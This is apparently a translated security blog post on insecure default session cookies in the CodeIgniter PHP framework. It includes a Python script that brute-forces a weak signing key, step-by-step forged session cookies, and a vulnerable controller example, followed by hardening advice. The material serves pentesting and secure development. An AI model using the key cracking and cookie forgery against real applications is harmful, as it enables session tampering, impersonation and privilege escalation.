(IN)secure session data in CodeIgniter
A security analysis on how web applications created with the PHP framework CodeIgniter handle user sessions.
This last year I reviewed some web applications written with CodeIgniter, a PHP framework used for web development. After seeing the same mistakes again and again, I decided to write this small post as a reference for pentesters and programmers that use this framework.
Identifying CodeIgniter applications
CodeIgniter only requires PHP and should run on any server which supports it. While it is not possible to identify CodeIgniter by a particular header, a typical cookie looks like this:
Set-Cookie: ci_session=a%3a5%3a{s%3a10%3a"session_id"
%3bs%3a32%3a"d318c7f887edf8242a9cf23785240d60"%3bs%3a10%3a"ip_address"%3bs%3a13%3a"
111.111.111.1"%3bs%3a10%3a"user_agent"%3bs%3a72%3a"Mozilla/5.0+(Windows+NT+6.2%3b+
WOW64%3b+rv%3a21.0)+Gecko/20100101+Firefox/21.0"%3bs%3a13%3a"last_activity"%3b
i%3a1372913399%3bs%3a9%3a"user_data"%3bs%3a0%3a""%3b}b5b3330c886f4ccbc591c02bc94f2e6c;
expires=Thu, 04-Jul-2013 06:49:59 GMT; path=/
Aside from having a variable with the name ci_session, which can be changed via the configuration, it has other variables such as session_id, ip_address, user_agent, last_activity and user_data. Using these fields we can identify the framework.
How does CodeIgniter handle sessions?
CodeIgniter's default configuration stores session data in a serialized object inside an unencrypted cookie. If we analyze the content of this cookie we can see a serialized object similar to the following:
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0
(Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";}
Insecure session configuration
Although CodeIgniter does offer secure session handling by encrypting the cookie and using a database, it is still very common to encounter the following configuration:
$config['sess_cookie_name'] = 'ci_session'; $config['sess_expiration'] = 7200; $config['sess_expire_on_close'] = FALSE; $config['sess_encrypt_cookie'] = FALSE; $config['sess_use_database'] = FALSE; $config['sess_table_name'] = 'ci_sessions'; $config['sess_match_ip'] = FALSE; $config['sess_match_useragent'] = TRUE; $config['sess_time_to_update'] = 300;
This default configuration is distributed with the framework (https://github.com/EllisLab/CodeIgniter/blob/develop/application/config/config.php), so we can expect to find these insecure settings in the majority of applications using CodeIgniter. Unfortunately, this default configuration allows for the manipulation of session data and opens the door to many other vulnerabilities related to insecure session handling as we will see further ahead.
Protecting session objects in CodeIgniter
CodeIgniter implements a basic system to try to prevent having session objects altered. Note that the session cookie is not only composed of the serialized object:
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64;
rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399; s:9:"user_data";s:0:"";}b5b3330c886f4ccbc591c02bc94f2e6c
The last 32 bytes, in this case b5b3330c886f4ccbc591c02bc94f2e6c, belong to a MD5 hash generated using the encryption key and the serialized object. If we were to only modify the serialized object, the hash would not be the same and the framework would detect that the request was tampered with and reject it.
Injecting session data
Something peculiar about CodeIgniter is that the user's session data is not found inside of user_data as one would expect. Suppose we receive the following cookie from the application:
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2;
WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";}
To add a new session variable with the key “new_key” and a value of “new_value” we would do the following:
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2;
WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";s:11:"new_key";s:11:"new_value";}
Do not forget to adjust the size of the array:
a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2;
WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";s:11:”new_key”;s:11:"new_value";}
Now we just have to obtain the encryption key and concatenate it with the object we intend to inject, so that we can obtain a valid MD5. If the developers used a weak encryption key then we can use the following Python script to obtain it:
#!/usr/bin/python
import itertools, string, hashlib
ci_cookie_decoded = 'cookie goes here'
ci_cookie_md5 = ci_cookie_decoded[-32:]
print ci_cookie_md5
ci_cookie = ci_cookie_decoded[:-32]
print ci_cookie
for str in map(''.join, itertools.product(string.ascii_lowercase, repeat=5)):
print str
md5sum = hashlib.md5(ci_cookie+str).hexdigest()
print md5sum
print ci_cookie_md5
if md5sum == ci_cookie_md5:
print "The encryption key is: "+str
break
We will use a valid cookie we received from the application, for example:
a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT
6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";}b5b3330c886f4ccbc591c02bc94f2e6c
In this case the script found that the encryption key is "abcde". We can now use this encryption key to generate a valid serialized object; it is only a matter of concatenating the encryption key with our object and calculating the new MD5 hash.
a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64;
rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;s:9:"user_data";
s:0:"";s:11:new_key”;s:11:”new_value”;}abcde
The obtained MD5 hash, in this case 594c293189734829b075ab09964e378f, will act as a checksum which we must append to the end of the object we wish to inject into:
a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0)
Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;s:9:"user_data";s:0:"";
s:11:"new_key";s:11:"new_value";}594c293189734829b075ab09964e378f
After URL encoding the characters in our tampered and VALID cookie, it looks like this:
a%3a6%3a{s%3a10%3a"session_id"%3bs%3a32%3a"d318c7f887edf8242a9cf23785240d60
"%3bs%3a10%3a"ip_address"%3bs%3a13%3a"111.111.111.1"%3bs%3a10%3a"user_agent
"%3bs%3a72%3a"Mozilla/5.0+(Windows+NT+6.2%3b+WOW64%3b+rv%3a21.0)+Gecko/201
00101+Firefox/21.0"%3bs%3a13%3a"last_activity"%3bi%3a1372913399%3bs%3a9%3a"
user_data"%3bs%3a0%3a""%3bs%3a11%3a"new_key"%3bs%3a11%3a"new_value"
%3b}594c293189734829b075ab09964e378f
Identifying vulnerable applications
Now that we know how to inject session variables, we just need to exploit logic errors and insufficient data validation throughout the application.
For example, the following snippet is from a vulnerable function which assumes the data from the session variables is secure and allows an attacker to read arbitrary files, elevate privileges or impersonate the identity of any other user:
public function dashboard($error){
$logged = $this->session->userdata('logged_in');
if($logged == 1){
if(isset($error)){
$this->exit['error'] = $error;
}
$this->exit['title'] = 'Dashboard';
$this->exit['userType'] = $this->session->userdata('userType');
$this->exit['name'] = $this->session->userdata('name');
$this->exit['userPhoto'] = $this->session->userdata('userPhoto');
$this->exit['userThumb'] = $this->session->userdata('userThumb');
$userType = $this->exit['userType'];
$name = $this->exit['name'];
$idUser = $this->session->userdata('idUser');
$this->load->view('admin/headers/header', $this->exit);
$this->load->view('admin/dashboard', $this->exit);
} else {
redirect('login');
}
}
If you have access to the source code, pay attention to when these variables are accessed and processed:
$this->session->userdata
Recommendations for developers
I would like to conclude by recommending to anyone who works with CodeIgniter to active encryption on cookies, store sessions in a database and have a look at all the security options which are available with CodeIgniter. Oh, and don't forget to use a strong encryption key.
Until next time!
This post was originally written by Paulino Calderon and was translated by Roberto Salgado. The original post in Spanish can be found here.
Subscribe to our Newsletter
Get the latest cybersecurity insights and updates delivered to your inbox.